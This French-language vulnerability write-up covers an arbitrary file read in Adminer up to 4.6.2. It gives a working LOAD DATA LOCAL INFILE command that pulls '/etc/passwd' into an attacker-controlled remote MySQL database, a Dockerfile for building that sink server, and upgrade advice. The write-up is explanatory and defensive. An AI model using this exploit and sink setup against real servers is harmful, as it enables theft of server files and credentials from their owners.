Exploitation de la vulnérabilité de lecture de fichiers sur Adminer avec LOCAL DATA

Table des matières :

Introduction

Un contrôle d’accès incorrect dans les versions d’Adminer <= 4.6.2 (corrigé dans la version 4.6.3) permet à un attaquant d’effectuer une lecture arbitraire de fichier sur le serveur en connectant une base de données MySQL distante à l’administrateur.

Affected products and versions

Pour exploiter cette vulnérabilité, un attaquant doit accéder à la page de connexion d’Adminer et se reconnecter à une base de données MySQL distante qu’il contrôle. Ensuite, il peut lire et exfiltrer les fichiers locaux sur l’Adminer en utilisant la requête SQL LOAD DATA LOCAL INFILE

Exploitation

Afin d’exploiter cette vulnérabilité, un attaquant doit accéder à la page de connexion d’Adminer et se reconnecter à une base de données MySQL distante qu’il contrôle :

Après cela, l’attaquant se rend sur la page “SQL Command” de l’Adminer :

Avec la commande SQL suivante, l’attaquant peut lire un fichier local sur la ligne du serveur Adminer et le charger dans sa base de données distante :

LOAD DATA local INFILE '/etc/passwd' INTO TABLE lfr_sink_table fields TERMINATED BY "\n";

Une fois cela fait, l’attaquant peut récupérer le contenu du fichier lu avec SELECT * FROM lfr_sink_table; :

Toutes les versions d’Adminer entre 1.12.0 et 4.6.2 (incluses) sont vulnérables :

Versions vulnérables d’Adminer

Préparation du container mysql

FROM debian:latest

ENV SINKUSER="lfr_sink_user"
ENV SINKPASS="lfr_sink_password"

ENV DEBIAN_FRONTEND=noninteractive
RUN apt -y update; apt -y install default-mysql-server default-mysql-client

RUN sed -i 's/^.*bind-address.*=.*$/bind-address = 0.0.0.0/g' /etc/mysql/mariadb.conf.d/50-server.cnf

RUN service mysql start;\
    mysql -u root -e "CREATE USER '${SINKUSER}'@'%' IDENTIFIED BY '${SINKPASS}'; UPDATE mysql.user set plugin = 'mysql_native_password' WHERE User = '${SINKUSER}'; GRANT ALL PRIVILEGES ON *.* TO '${SINKUSER}'@'%' WITH GRANT OPTION; FLUSH PRIVILEGES;" ;\
    mysql -u root -e "CREATE DATABASE IF NOT EXISTS lfr_sink_db; SET GLOBAL local_infile = true;" ;\
    mysql -u root -e "USE lfr_sink_db; CREATE TABLE IF NOT EXISTS lfr_sink_table (a varchar(255));"

EXPOSE 3306

CMD ["mysqld"]

Mitigations

Afin de corriger cette vulnérabilité, vous devez mettre à jour votre Adminer vers la dernière version ou une version >= 4.6.3. Cette vulnérabilité a été corrigée par l’éditeur dans la version 4.6.3.

Références